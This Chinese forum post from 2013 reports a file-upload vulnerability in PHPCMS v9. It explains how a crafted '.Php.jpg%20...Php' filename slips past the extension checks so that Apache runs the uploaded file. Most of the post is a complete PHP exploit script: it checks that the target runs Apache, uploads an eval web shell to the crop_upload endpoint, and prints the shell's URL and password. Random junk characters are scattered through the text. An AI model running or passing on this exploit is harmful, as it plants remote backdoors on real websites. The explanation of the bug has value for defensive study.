找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2191|回复: 0
打印 上一主题 下一主题

PHPCMS v9 Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-7 13:06:41 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
漏洞类型: 文件上传导致任意代码执行1 T" H$ W4 L7 w  _! b

) H' N' ]" O9 R" s- u简要描述:! c) {$ ~6 [( Y) F1 t- Z7 V

& r# Y+ |0 I: `. H; mphpcms v9 getshell (apache). {+ Q+ g# z, U* e  E
详细说明:  m- M  o& t8 K2 B+ U
5 v/ G. `  X0 ]/ ?) u
漏洞文件:phpcms\modules\attachment\attachments.php
& z( D6 X& p. F* b0 H. a1 Z3 w
! k5 I0 R( t/ xpublic function crop_upload() {  (isset($GLOBALS["HTTP_RAW_POST_DATA"])) {  $pic = $GLOBALS["HTTP_RAW_POST_DATA"];  if (isset($_GET['width']) && !empty($_GET['width'])) {  $width = intval($_GET['width']);  }  if (isset($_GET['height']) && !empty($_GET['height'])) {  $height = intval($_GET['height']);  }  if (isset($_GET['file']) && !empty($_GET['file'])) {  $_GET['file'] = str_replace(';','',$_GET['file']);//过滤了分号  if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();//is_image()检测是个关键  if (strpos($_GET['file'], pc_base::load_config('system', 'upload_url'))!==false) {  $file = $_GET['file'];  $basenamebasename = basename($file);//获取带有后缀的文件名  if (strpos($basename, 'thumb_')!==false) {  $file_arr = explode('_', $basename);  $basename = array_pop($file_arr);  }  $new_file = 'thumb_'.$width.'_'.$height.'_'.$basename;  } else {  pc_base::load_sys_class('attachment','',0);  $module = trim($_GET['module']);  $catid = intval($_GET['catid']);  $siteid = $this->get_siteid();  $attachment = new attachment($module, $catid, $siteid);  $uploadedfile['filename'] = basename($_GET['file']);  $uploadedfile['fileext'] = fileext($_GET['file']);  if (in_array($uploadedfile['fileext'], array('jpg', 'gif', 'jpeg', 'png', 'bmp'))) {  $uploadedfile['isimage'] = 1;  }  $file_path = $this->upload_path.date('Y/md/');  pc_base::load_sys_func('dir');  dir_create($file_path);  $new_file = date('Ymdhis').rand(100, 999).'.'.$uploadedfile['fileext'];  $uploadedfile['filepath'] = date('Y/md/').$new_file;  $aid = $attachment->add($uploadedfile);  }  $filepath = date('Y/md/');  file_put_contents($this->upload_path.$filepath.$new_file, $pic);//文件名可控、$pic可控  } else {  return false;  }  echo pc_base::load_config('system', 'upload_url').$filepath.$new_file;  exit;  }  }   A4 W0 V8 c5 Q7 M5 H& M- b
后缀检测:phpcms\modules\attachment\functions\global.func.php/ Y0 ?, H: f) {4 |% k( E9 M6 v
. J) O0 R& P4 \
. A4 Q& X- w4 E! z/ N9 E# G

6 W: Q; K  `- d4 H1 ]function is_image($file) {    $ext_arr = array('jpg','gif','png','bmp','jpeg','tiff');    $ext = fileext($file);关键地方    return in_array($ext,$ext_arr) ? $ext_arr :false;   }  
; ]  C- v% f5 G) K5 I" z/ U' j. l7 R% I6 R9 {3 E# R# \
关键函数:5 k& x# M# Z3 ?" j. d
* P0 s  B3 Q/ }7 j
4 g: U: B! F1 E! g
( e/ ?$ g% A$ j; y
function fileext($filename) {  return strtolower(trim(substr(strrchr($filename, '.'), 1, 10))); }    k# ?7 k0 S2 C$ y: o$ ^

' S. ^, i# P1 h7 }* d) @2 n& b  Fileext函数是对文件后缀名的提取。
/ n5 }8 U8 u- e3 b! h9 z0 y/ `: p4 p根据此函数我们如果上传文件名为ddd.Php.jpg%20%20%20%20%20%20%20Php
, e* C0 O  v; Z. v% c经过此函数提取到的后缀还是jpg,因此正在is_image()函数中后缀检测被绕过了。0 ]" n, @7 T: f5 j2 g/ n7 s
我们回到public function crop_upload() 函数中5 b3 H2 m; k! B" r. W
if(is_image($_GET['file'])== false || strpos($_GET['file'],'.php')!==false) exit();% Y/ `. E* L! m! [& s0 M& W% l
在经过了is_image的判断之后又来了个.php的判断,在此程序员使用的是strpos函数, Y2 J  }, _3 q" W
这个函数是对大小写敏感的函数我们使用.Php就可以直接绕过了。
; |0 O) f& E) D5 u) V; ^* y9 d经过上边的两层的过滤我们的ddd.Php.jpg%20%20%20%20%20%20%20Php后缀依然有效。2 _& `5 R: R3 |8 \' r" B7 b
最后$basename变量的值就为ddd.Php.jpg%20%20%20%20%20%20%20Php 然后使用file_put_contents函数写入到了指定目录。
: ]2 F! P3 m" F$ Z% q, t6 Z# Y看见ddd.Php.jpg%20%20%20%20%20%20%20Php这个后缀,大家应该明白了,它用在apache搭建的服务器上可以被解析。/ z3 `( ^7 U" j5 x. i* v) d
漏洞证明:1 m3 K) M+ t' l$ o

" v3 v; N; r8 o& p9 d1 W5 _exp:
  ^' \( h1 l; ?+ K) M
9 A7 K8 T/ J( ?<?php
6 ]% }- g, B8 |2 y' h. q/ J* Perror_reporting(E_ERROR);
( @5 E2 p! N' Q: t) c" N6 ~set_time_limit(0);
# }$ u4 l8 B* s" P$pass="ln";
  J( o0 s  C! Q( W9 P/ e& Bprint_r('2 n: f% m. A6 r- Z! T' }
+---------------------------------------------------------------------------+" `0 ^2 ?! O+ Y( w
PHPCms V9 GETSHELL 0DAY 5 c+ h8 h, N8 S4 P
code by L.N.
+ ~" G- ]0 z" h1 m' P0 z
; H. L1 R, w/ ^# k7 o$ Oapache 适用(利用的apache的解析漏洞) // 云安全 www.yunsec.net
6 T# U7 ~6 R1 q' `# P/ A. I+---------------------------------------------------------------------------+
. r+ A. W! w' g  a' Y* K');  \& l; M( t" H% O8 [
if ($argc < 2) {
* m$ I# s' h' ^1 S0 G* ^+ hprint_r('7 ^. e, p9 L$ z. M: H0 C( P
+---------------------------------------------------------------------------+
# e2 r# M% ^  n7 \: K, @Usage: php '.$argv[0].' url path
) _0 U6 F; a0 r# z+ a
8 L1 v9 f% b( Q! E8 oExample:
* p% j4 A3 I! @/ H0 I1.php '.$argv[0].' lanu.sinaapp.com
/ u& g4 Z$ w" B/ l2 Y! d9 |$ ~+ ^: C7 a# J2.php '.$argv[0].' lanu.sinaapp.com /phpcms
; G9 ~2 k' s. i; N' @* y+---------------------------------------------------------------------------+: k( |8 H8 N; B/ O6 g- @7 t7 o
');+ o$ T% B5 `  \9 L; P7 f6 b
exit;6 r) C0 t8 ]& v: @, `
}1 }& N8 X0 w2 M9 w
2 N& ?  k6 o6 C# X4 Q3 j6 i1 L: u
$url = $argv[1];
+ o( b2 b/ R  p/ T- J& T$path = $argv[2];
4 U' p5 H( L* O  C9 f" M( [% C3 }$phpshell = '<?php @eval($_POST[\''.$pass.'\']);?>';% r  S+ m, C9 P% R5 v% t) {
$file = '1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';: Q( r1 z& r4 T" [, _( ?& @
if($ret=Create_dir($url,$path))
4 S8 V$ [- D: k0 Z. d7 ?{
9 [! n. F4 u* K* v4 Y' H/ u& `//echo $ret;
( @4 y9 [7 }# r# K+ ?* U+ k4 g$pattern = "|Server:[^,]+?|U";2 m+ P& j$ X6 ]9 r, w5 c
preg_match_all($pattern, $ret, $matches);% \, Q' W2 C: i% d4 l; K$ m. Z% j, B
if($matches[0][0])4 M" Y! U/ g' y. ?7 ]' E2 z
{) w& W" a, o7 i! k! O2 a) E- c
if(strpos($matches[0][0],'Apache') == false)
7 \0 v, e1 I% Y$ @* F/ F4 U{) {3 M; D  A, s- ^4 W; b1 z: `9 Q) U
echo "\n亲!此网站不是apache的网站。\n";exit;; H/ A! c9 e6 |& U: [2 M/ I3 `) R
}
  F* a2 J% p& `& y5 c}6 A" S0 O, s/ T) e+ |: ~
$ret = GetShell($url,$phpshell,$path,$file);
- {, ~6 \" W, w$pattern = "|http:\/\/[^,]+?\.,?|U";
/ v1 h5 F8 ^; B# p, r; rpreg_match_all($pattern, $ret, $matches);
$ R% q# l; W2 I. mif($matches[0][0])
( c/ O/ ]8 l" Q$ _+ S6 o{
1 T& W8 w3 ?- S3 p0 K: A  Eecho "\n".'密码为: '.$pass."\n";. }; H$ j7 X3 Q
echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
+ m# g! |( g6 r! c* i6 |}% j! y3 G! B0 S3 |$ k
else
# \, ]' p: V! ^{
4 {  Y& Z' v. E6 T5 |  Y$pattern = "|\/uploadfile\/[^,]+?\.,?|U";
1 ?' O. I! v" E8 S! l4 R+ tpreg_match_all($pattern, $ret, $matches);
. \2 g# I/ k4 mif($matches[0][0])7 X6 n: n" f" u8 U
{
% ]0 N  D2 B9 U* |8 {% Q, |echo "\n".'密码为: '.$pass."\n";9 ]. Z- N3 V' K
echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;: M- `- W2 n! e  Q$ @5 @+ L
}
, k6 I& s7 ~8 }2 w, b8 f7 N4 ~# ielse! R% w) \  v) r: D# p( m2 y
{
) ]* b0 i! Y  v9 Z( x. I2 ]  s3 secho "\r\n没得到!\n";exit;
2 V8 T4 x# S" K& Q5 o}: J- @1 U/ Y$ l5 N7 y8 a
}
" Q& K( o  w' S/ T8 A) a}& Z; S/ N" X2 b% L

( n6 g# y# k4 N! Hfunction GetShell($url,$shell,$path,$js)4 `/ K, V7 K0 m4 X
{
9 k  S6 L5 I7 O) u2 H$content =$shell;6 V, ^& l: Z5 P3 y
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";4 {) g9 }. R4 \) a
$data .= "Host: ".$url."\r\n";
4 j$ f7 w  u6 V2 v6 g# A$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";$ m5 B2 @  ~" E0 z3 k/ R
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
( n. x/ Q( ^# f8 {$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
0 s7 {# N6 t3 H) d+ ?* p  L" o, R$data .= "Connection: close\r\n";# M1 G, E4 x2 \$ q/ O3 V% W
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";
4 X7 T# V4 w$ I! s. N) o$ s$data .= $content."\r\n";
" V, i8 y0 m- t: U' \$ock=fsockopen($url,80);1 w- S$ E  F! b; M
if (!$ock)) Q, d: V( O: q! E
{1 }9 Y/ c) v3 U% B2 z$ ]
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
7 b; _* W9 }# m6 G) C6 O}6 }' v; P$ v$ c8 h/ z9 ?
else; u2 _; T9 w  ~, }+ N( o) n$ n
{3 F  P6 V+ k% h6 n8 b/ ~1 \5 H: W
fwrite($ock,$data);
  |5 S% G3 S3 D1 J7 p4 ]3 E$resp = '';# |) {  I) [; d$ H0 A
while (!feof($ock))
: P% l9 x0 v3 U0 l- o. E{3 y% J6 R# o2 ?" T9 U0 o2 {' P
$resp.=fread($ock, 1024);
; y# p" \: b: T- j1 ~4 u}  }3 T+ G% n! s% W; E& P
return $resp;
5 {9 T! T% ]( x1 z' _}' Y3 ^* b: `9 Z/ X5 e; [$ J& `
}6 V% \9 J" P6 K
" s# G! U2 G1 n3 f
function Create_dir($url,$path='')0 a1 |) k; m% E' _% k1 }
{; p5 R) W* {& M# |4 a5 @
$content ='I love you';2 j' b1 M3 ^# s, Q1 j6 c
$data = "POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";2 {" u* X! x! J% R' m- u
$data .= "Host: ".$url."\r\n";  b1 F% M" ?0 w8 Z6 M
$data .= "User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";$ {. Q; V; h, i; R6 h
$data .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";: s! N5 @! T: _3 X: p6 B* E
$data .= "Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
2 G) E: T/ ?8 r9 h, W! _$data .= "Connection: close\r\n";3 `5 o# t: [8 Q- D; E) D
$data .= "Content-Length: ".strlen($content)."\r\n\r\n";( W6 u. }, {/ e) U# ]
$data .= $content."\r\n";2 T+ l/ X* d& Z) h  H4 t
$ock=fsockopen($url,80);  s6 g) C9 x; N8 \9 ~& z
if (!$ock)
6 g/ y$ ], s" J3 |{, U7 T& m$ V, ^8 y8 F
echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;3 t3 [3 ^# n" W9 H5 C% u* [
}$ u& y+ C  b3 a/ @
fwrite($ock,$data);6 S; L" I0 ]. |( z5 g2 N7 F$ a
$resp = '';
- T* X- a  U3 s& H6 fwhile (!feof($ock))
$ U: {) a" l8 B3 R- K8 F{
3 m" @5 Q" a) J3 J, T$resp.=fread($ock, 1024);( x8 }( b; ^( Y- U
}
" K5 n! P8 M& q3 m" Ureturn $resp;, O4 n0 A8 m, |
}
; A2 x7 E, _- y, V+ u% _, _?>
+ d6 T( d* R! N1 B3 s0 s) _# O6 l 5 O+ ^- M: V6 N. o3 y0 S. P, g" o& Z
修复方案:2 e1 b! d! A; x& P

! x$ ]3 k# V$ h' p/ L+ O. e过滤过滤再过滤
: q* M8 N! E9 U; O. o) M
8 u2 M  J! @2 b: W4 w; X
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表